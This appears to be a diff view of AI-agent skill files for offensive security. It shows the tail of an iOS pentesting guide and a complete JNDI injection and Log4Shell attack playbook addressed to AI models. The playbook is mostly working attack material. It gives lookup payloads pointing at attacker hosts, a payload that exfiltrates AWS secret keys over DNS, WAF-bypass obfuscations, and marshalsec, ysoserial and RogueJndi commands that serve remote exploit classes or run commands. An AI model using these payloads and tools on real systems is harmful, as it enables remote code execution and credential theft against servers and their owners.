# Check SQLite databases
|
|
330
|
+
sqlite3 Library/Application\ Support/Model.sqlite ".tables"
|
|
331
|
+
sqlite3 Library/Application\ Support/Model.sqlite "SELECT * FROM ZUSER;"
|
|
332
|
+
|
|
333
|
+
# Check for sensitive strings in all files
|
|
334
|
+
grep -r "password\|token\|bearer\|api_key" Documents/ Library/
|
|
335
|
+
```
|
|
336
|
+
|
|
337
|
+
---
|
|
338
|
+
|
|
339
|
+
## 8. TRANSPORT SECURITY (ATS)
|
|
340
|
+
|
|
341
|
+
### 8.1 ATS Exception Patterns
|
|
342
|
+
|
|
343
|
+
```xml
|
|
344
|
+
<!-- Info.plist — check for ATS exceptions -->
|
|
345
|
+
<key>NSAppTransportSecurity</key>
|
|
346
|
+
<dict>
|
|
347
|
+
<!-- WORST: disables ATS entirely -->
|
|
348
|
+
<key>NSAllowsArbitraryLoads</key>
|
|
349
|
+
<true/>
|
|
350
|
+
|
|
351
|
+
<!-- BAD: specific domain exceptions -->
|
|
352
|
+
<key>NSExceptionDomains</key>
|
|
353
|
+
<dict>
|
|
354
|
+
<key>insecure-api.target.com</key>
|
|
355
|
+
<dict>
|
|
356
|
+
<key>NSExceptionAllowsInsecureHTTPLoads</key>
|
|
357
|
+
<true/>
|
|
358
|
+
<key>NSExceptionMinimumTLSVersion</key>
|
|
359
|
+
<string>TLSv1.0</string>
|
|
360
|
+
</dict>
|
|
361
|
+
</dict>
|
|
362
|
+
</dict>
|
|
363
|
+
```
|
|
364
|
+
|
|
365
|
+
| ATS Setting | Risk | Notes |
|
|
366
|
+
|---|---|---|
|
|
367
|
+
| `NSAllowsArbitraryLoads = true` | Critical | All HTTP allowed |
|
|
368
|
+
| `NSExceptionAllowsInsecureHTTPLoads` | High | HTTP for specific domain |
|
|
369
|
+
| `NSExceptionMinimumTLSVersion = TLSv1.0` | Medium | Weak TLS |
|
|
370
|
+
| `NSAllowsArbitraryLoadsInWebContent` | Medium | WebView can load HTTP |
|
|
371
|
+
| No ATS exceptions | Low | Proper configuration |
|
|
372
|
+
|
|
373
|
+
---
|
|
374
|
+
|
|
375
|
+
## 9. IOS PENTESTING DECISION TREE
|
|
376
|
+
|
|
377
|
+
```
|
|
378
|
+
Testing iOS application
|
|
379
|
+
│
|
|
380
|
+
├── Device jailbroken?
|
|
381
|
+
│ ├── Yes → full testing capability
|
|
382
|
+
│ │ ├── Keychain dump → ios keychain dump (§2)
|
|
383
|
+
│ │ ├── Filesystem inspection → check all data storage (§7)
|
|
384
|
+
│ │ ├── Runtime hooks → Frida/Objection (§5)
|
|
385
|
+
│ │ └── Binary analysis → class-dump decrypted binary (§6)
|
|
386
|
+
│ └── No → limited testing
|
|
387
|
+
│ ├── Re-sign with Frida gadget for runtime access
|
|
388
|
+
│ ├── Backup extraction for data analysis
|
|
389
|
+
│ └── Network-level testing (proxy + SSL bypass)
|
|
390
|
+
│
|
|
391
|
+
├── SSL pinning blocking proxy?
|
|
392
|
+
│ └── Yes → see mobile-ssl-pinning-bypass SKILL.md
|
|
393
|
+
│
|
|
394
|
+
├── URL schemes registered?
|
|
395
|
+
│ ├── OAuth callback via URL scheme? → hijacking risk (§3.2)
|
|
396
|
+
│ ├── Universal Links configured? → check AASA (§4.1)
|
|
397
|
+
│ └── Scheme used for sensitive actions? → test interception
|
|
398
|
+
│
|
|
399
|
+
├── Binary protections adequate?
|
|
400
|
+
│ ├── Missing PIE? → ASLR disabled (§6.1)
|
|
401
|
+
│ ├── No stack canaries? → overflow risk (§6.1)
|
|
402
|
+
│ └── Still encrypted? → decrypt first (§6.2)
|
|
403
|
+
│
|
|
404
|
+
├── Data storage secure?
|
|
405
|
+
│ ├── Tokens in NSUserDefaults? → plaintext extraction (§7.1)
|
|
406
|
+
│ ├── Keychain protection class? → AfterFirstUnlock = risky (§2.1)
|
|
407
|
+
│ ├── Screenshots captured? → check Snapshots dir (§7.1)
|
|
408
|
+
│ └── Keyboard cache? → check for sensitive autocomplete (§7.1)
|
|
409
|
+
│
|
|
410
|
+
├── ATS configured?
|
|
411
|
+
│ ├── ArbitraryLoads = true? → HTTP downgrade possible (§8)
|
|
412
|
+
│ └── Domain exceptions? → targeted HTTP interception
|
|
413
|
+
│
|
|
414
|
+
└── Runtime manipulation needed?
|
|
415
|
+
├── Jailbreak detection blocking? → ios jailbreak disable (§5.2)
|
|
416
|
+
├── Need to bypass auth check? → hook + modify return (§5.1)
|
|
417
|
+
└── Need to trace API calls? → method hooking (§5.2)
|
|
418
|
+
```
|
|
@@ -0,0 +1,265 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: jndi-injection
|
|
3
|
+
description: >-
|
|
4
|
+
JNDI injection playbook. Use when Java applications perform JNDI lookups with attacker-controlled names, especially via Log4j2, Spring, or any code path reaching InitialContext.lookup().gated: true
|
|
5
|
+
---
|
|
6
|
+
|
|
7
|
+
# SKILL: JNDI Injection — Expert Attack Playbook
|
|
8
|
+
|
|
9
|
+
> **AI LOAD INSTRUCTION**: Expert JNDI injection techniques. Covers lookup mechanism abuse, RMI/LDAP class loading, JDK version constraints, Log4Shell (CVE-2021-44228), marshalsec tooling, and post-8u191 bypass via deserialization gadgets. Base models often confuse JNDI injection with general deserialization — this file clarifies the distinct attack surface.
|
|
10
|
+
|
|
11
|
+
## 0. RELATED ROUTING
|
|
12
|
+
|
|
13
|
+
- [deserialization-insecure](../deserialization-insecure/SKILL.md) when JNDI leads to deserialization (post-8u191 bypass path)
|
|
14
|
+
- [expression-language-injection](../expression-language-injection/SKILL.md) when the JNDI sink is reached via SpEL or OGNL expression evaluation
|
|
15
|
+
|
|
16
|
+
---
|
|
17
|
+
|
|
18
|
+
## 1. CORE MECHANISM
|
|
19
|
+
|
|
20
|
+
JNDI (Java Naming and Directory Interface) provides a unified API for looking up objects from naming/directory services (RMI, LDAP, DNS, CORBA).
|
|
21
|
+
|
|
22
|
+
**Vulnerability**: when `InitialContext.lookup(USER_INPUT)` receives an attacker-controlled URL, the JVM connects to the attacker's server and loads/executes arbitrary code.
|
|
23
|
+
|
|
24
|
+
```java
|
|
25
|
+
// Vulnerable code pattern:
|
|
26
|
+
String name = request.getParameter("resource");
|
|
27
|
+
Context ctx = new InitialContext();
|
|
28
|
+
Object obj = ctx.lookup(name); // name = "ldap://attacker.com/Exploit"
|
|
29
|
+
```
|
|
30
|
+
|
|
31
|
+
---
|
|
32
|
+
|
|
33
|
+
## 2. ATTACK VECTORS
|
|
34
|
+
|
|
35
|
+
### RMI (Remote Method Invocation)
|
|
36
|
+
|
|
37
|
+
```
|
|
38
|
+
rmi://attacker.com:1099/Exploit
|
|
39
|
+
```
|
|
40
|
+
|
|
41
|
+
Attacker runs an RMI server returning a `Reference` object pointing to a remote class:
|
|
42
|
+
```java
|
|
43
|
+
// Attacker's RMI server returns:
|
|
44
|
+
Reference ref = new Reference("Exploit", "Exploit", "http://attacker.com/");
|
|
45
|
+
// JVM downloads http://attacker.com/Exploit.class and instantiates it
|
|
46
|
+
```
|
|
47
|
+
|
|
48
|
+
### LDAP
|
|
49
|
+
|
|
50
|
+
```
|
|
51
|
+
ldap://attacker.com:1389/cn=Exploit
|
|
52
|
+
```
|
|
53
|
+
|
|
54
|
+
Attacker runs an LDAP server returning entries with `javaCodeBase`, `javaFactory`, or serialized object attributes.
|
|
55
|
+
|
|
56
|
+
LDAP is preferred over RMI because LDAP restrictions were added later (JDK 8u191 vs 8u121 for RMI).
|
|
57
|
+
|
|
58
|
+
### DNS (detection only)
|
|
59
|
+
|
|
60
|
+
```
|
|
61
|
+
dns://attacker-dns-server/lookup-name
|
|
62
|
+
```
|
|
63
|
+
|
|
64
|
+
Useful for confirming JNDI injection without RCE — triggers DNS query to attacker's authoritative NS.
|
|
65
|
+
|
|
66
|
+
---
|
|
67
|
+
|
|
68
|
+
## 3. JDK VERSION CONSTRAINTS AND BYPASS
|
|
69
|
+
|
|
70
|
+
| JDK Version | RMI Remote Class | LDAP Remote Class | Bypass |
|
|
71
|
+
|---|---|---|---|
|
|
72
|
+
| < 8u121 | YES | YES | Direct class loading |
|
|
73
|
+
| 8u121 – 8u190 | NO (`trustURLCodebase=false`) | YES | Use LDAP vector |
|
|
74
|
+
| >= 8u191 | NO | NO | Return serialized gadget object via LDAP |
|
|
75
|
+
| >= 8u191 (alternative) | NO | NO | `BeanFactory` + EL injection |
|
|
76
|
+
|
|
77
|
+
### Post-8u191 Bypass: LDAP → Serialized Gadget
|
|
78
|
+
|
|
79
|
+
Instead of returning a remote class URL, the attacker's LDAP server returns a **serialized Java object** in the `javaSerializedData` attribute. The JVM deserializes it locally — if a gadget chain (e.g., CommonsCollections) is on the classpath, RCE is achieved.
|
|
80
|
+
|
|
81
|
+
```bash
|
|
82
|
+
# ysoserial JRMPListener approach:
|
|
83
|
+
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "id"
|
|
84
|
+
# Then JNDI lookup points to: rmi://attacker:1099/whatever
|
|
85
|
+
```
|
|
86
|
+
|
|
87
|
+
### Post-8u191 Bypass: BeanFactory + EL
|
|
88
|
+
|
|
89
|
+
When Tomcat's `BeanFactory` is on the classpath, the LDAP response can reference it as a factory with EL expressions:
|
|
90
|
+
|
|
91
|
+
```
|
|
92
|
+
javaClassName: javax.el.ELProcessor
|
|
93
|
+
javaFactory: org.apache.naming.factory.BeanFactory
|
|
94
|
+
forceString: x=eval
|
|
95
|
+
x: Runtime.getRuntime().exec("id")
|
|
96
|
+
```
|
|
97
|
+
|
|
98
|
+
---
|
|
99
|
+
|
|
100
|
+
## 4. TOOLING
|
|
101
|
+
|
|
102
|
+
### marshalsec — JNDI Reference Server
|
|
103
|
+
|
|
104
|
+
```bash
|
|
105
|
+
# Start LDAP server serving a remote class:
|
|
106
|
+
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://attacker.com/#Exploit" 1389
|
|
107
|
+
|
|
108
|
+
# Start RMI server:
|
|
109
|
+
java -cp marshalsec.jar marshalsec.jndi.RMIRefServer "http://attacker.com/#Exploit" 1099
|
|
110
|
+
|
|
111
|
+
# The #Exploit refers to Exploit.class hosted at http://attacker.com/Exploit.class
|
|
112
|
+
```
|
|
113
|
+
|
|
114
|
+
### JNDI-Injection-Exploit (all-in-one)
|
|
115
|
+
|
|
116
|
+
```bash
|
|
117
|
+
java -jar JNDI-Injection-Exploit.jar -C "command" -A attacker_ip
|
|
118
|
+
# Automatically starts RMI + LDAP servers with multiple bypass strategies
|
|
119
|
+
```
|
|
120
|
+
|
|
121
|
+
### Rogue JNDI
|
|
122
|
+
|
|
123
|
+
```bash
|
|
124
|
+
java -jar RogueJndi.jar --command "id" --hostname attacker.com
|
|
125
|
+
# Provides RMI, LDAP, and HTTP servers with auto-generated payloads
|
|
126
|
+
```
|
|
127
|
+
|
|
128
|
+
---
|
|
129
|
+
|
|
130
|
+
## 5. LOG4J2 — CVE-2021-44228 (LOG4SHELL)
|
|
131
|
+
|
|
132
|
+
### Mechanism
|
|
133
|
+
|
|
134
|
+
Log4j2 supports **Lookups** — expressions like `${...}` that are evaluated in log messages. The `jndi` lookup triggers `InitialContext.lookup()`:
|
|
135
|
+
|
|
136
|
+
```
|
|
137
|
+
${jndi:ldap://attacker.com/x}
|
|
138
|
+
```
|
|
139
|
+
|
|
140
|
+
**Any logged string** containing this pattern triggers the vulnerability — User-Agent, form fields, HTTP headers, URL paths, error messages.
|
|
141
|
+
|
|
142
|
+
### Detection Payloads
|
|
143
|
+
|
|
144
|
+
```text
|
|
145
|
+
${jndi:ldap://TOKEN.collab.net/a}
|
|
146
|
+
${jndi:dns://TOKEN.collab.net}
|
|
147
|
+
${jndi:rmi://TOKEN.collab.net/a}
|
|
148
|
+
|
|
149
|
+
# Exfiltrate environment info via DNS:
|
|
150
|
+
${jndi:ldap://${sys:java.version}.TOKEN.collab.net}
|
|
151
|
+
${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.TOKEN.collab.net}
|
|
152
|
+
${jndi:ldap://${hostName}.TOKEN.collab.net}
|
|
153
|
+
```
|
|
154
|
+
|
|
155
|
+
### WAF Bypass Variants
|
|
156
|
+
|
|
157
|
+
Log4j2's lookup parser is very flexible:
|
|
158
|
+
|
|
159
|
+
```text
|
|
160
|
+
${${lower:j}ndi:ldap://attacker.com/x}
|
|
161
|
+
${${upper:j}${upper:n}${upper:d}i:ldap://attacker.com/x}
|
|
162
|
+
${${::-j}${::-n}${::-d}${::-i}:ldap://attacker.com/x}
|
|
163
|
+
${j${::-n}di:ldap://attacker.com/x}
|
|
164
|
+
${jndi:l${lower:D}ap://attacker.com/x}
|
|
165
|
+
${${env:NaN:-j}ndi${env:NaN:-:}ldap://attacker.com/x}
|
|
166
|
+
```
|
|
167
|
+
|
|
168
|
+
### Split-Log Bypass (Advanced)
|
|
169
|
+
|
|
170
|
+
When WAF detects paired `${jndi:...}` in a single request, split across two log entries:
|
|
171
|
+
|
|
172
|
+
```text
|
|
173
|
+
# Request 1 (logged first):
|
|
174
|
+
X-Custom: ${jndi:ldap://attacker.com/
|
|
175
|
+
# Request 2 (logged second):
|
|
176
|
+
X-Custom: exploit}
|
|
177
|
+
```
|
|
178
|
+
|
|
179
|
+
If the application concatenates log entries before re-processing (e.g., aggregation pipelines), the combined `${jndi:ldap://attacker.com/exploit}` triggers.
|
|
180
|
+
|
|
181
|
+
### Real-World Case: Solr Log4Shell
|
|
182
|
+
|
|
183
|
+
```bash
|
|
184
|
+
# Confirm via DNSLog — Solr admin cores API:
|
|
185
|
+
GET /solr/admin/cores?action=${jndi:ldap://${sys:java.version}.TOKEN.dnslog.cn}
|
|
186
|
+
# DNS hit with Java version = confirmed Log4Shell in Solr
|
|
187
|
+
```
|
|
188
|
+
|
|
189
|
+
### Injection Points to Test
|
|
190
|
+
|
|
191
|
+
```text
|
|
192
|
+
User-Agent X-Forwarded-For Referer
|
|
193
|
+
Accept-Language X-Api-Version Authorization
|
|
194
|
+
Cookie values URL path segments POST body fields
|
|
195
|
+
Search queries File upload names Form field names
|
|
196
|
+
GraphQL variables SOAP/XML elements JSON values
|
|
197
|
+
```
|
|
198
|
+
|
|
199
|
+
### Affected Versions
|
|
200
|
+
|
|
201
|
+
- Log4j2 2.0-beta9 through 2.14.1
|
|
202
|
+
- Fixed in 2.15.0 (partial), fully fixed in 2.17.0
|
|
203
|
+
- Log4j 1.x is NOT affected (different lookup mechanism)
|
|
204
|
+
|
|
205
|
+
---
|
|
206
|
+
|
|
207
|
+
## 6. OTHER JNDI SINKS (BEYOND LOG4J)
|
|
208
|
+
|
|
209
|
+
| Product / Framework | Sink |
|
|
210
|
+
|---|---|
|
|
211
|
+
| Spring Framework | `JndiTemplate.lookup()` |
|
|
212
|
+
| Apache Solr | Config API, VelocityResponseWriter |
|
|
213
|
+
| Apache Druid | Various config endpoints |
|
|
214
|
+
| VMware vCenter | Multiple endpoints |
|
|
215
|
+
| H2 Database Console | JNDI connection string |
|
|
216
|
+
| Fastjson | `@type` + `JdbcRowSetImpl.setDataSourceName()` |
|
|
217
|
+
|
|
218
|
+
---
|
|
219
|
+
|
|
220
|
+
## 7. TESTING METHODOLOGY
|
|
221
|
+
|
|
222
|
+
```
|
|
223
|
+
Suspected JNDI injection point?
|
|
224
|
+
├── Send DNS-only probe: ${jndi:dns://TOKEN.collab.net}
|
|
225
|
+
│ └── DNS hit? → Confirmed JNDI evaluation
|
|
226
|
+
│
|
|
227
|
+
├── Determine JDK version:
|
|
228
|
+
│ └── ${jndi:ldap://${sys:java.version}.TOKEN.collab.net}
|
|
229
|
+
│
|
|
230
|
+
├── JDK < 8u191?
|
|
231
|
+
│ ├── Start marshalsec LDAP server with remote class
|
|
232
|
+
│ └── ${jndi:ldap://attacker:1389/Exploit} → direct RCE
|
|
233
|
+
│
|
|
234
|
+
├── JDK >= 8u191?
|
|
235
|
+
│ ├── LDAP → serialized gadget (need gadget chain on classpath)
|
|
236
|
+
│ ├── BeanFactory + EL (need Tomcat on classpath)
|
|
237
|
+
│ └── JRMPListener via ysoserial
|
|
238
|
+
│
|
|
239
|
+
└── WAF blocking ${jndi:...}?
|
|
240
|
+
└── Try obfuscation: ${${lower:j}ndi:...}
|
|
241
|
+
```
|
|
242
|
+
|
|
243
|
+
---
|
|
244
|
+
|
|
245
|
+
## 8. QUICK REFERENCE
|
|
246
|
+
|
|
247
|
+
```text
|
|
248
|
+
# Safe confirmation (DNS only):
|
|
249
|
+
${jndi:dns://TOKEN.collab.net}
|
|
250
|
+
|
|
251
|
+
# LDAP RCE (JDK < 8u191):
|
|
252
|
+
${jndi:ldap://ATTACKER:1389/Exploit}
|
|
253
|
+
|
|
254
|
+
# Version exfiltration:
|
|
255
|
+
${jndi:ldap://${sys:java.version}.TOKEN.collab.net}
|
|
256
|
+
|
|
257
|
+
# Log4Shell with WAF bypass:
|
|
258
|
+
${${lower:j}ndi:${lower:l}dap://ATTACKER/x}
|
|
259
|
+
|
|
260
|
+
# Start LDAP reference server:
|
|
261
|
+
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://ATTACKER/#Exploit" 1389
|
|
262
|
+
|
|
263
|
+
# Post-8u191 — ysoserial JRMP:
|
|
264
|
+
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "id"
|
|
265
|
+
```
|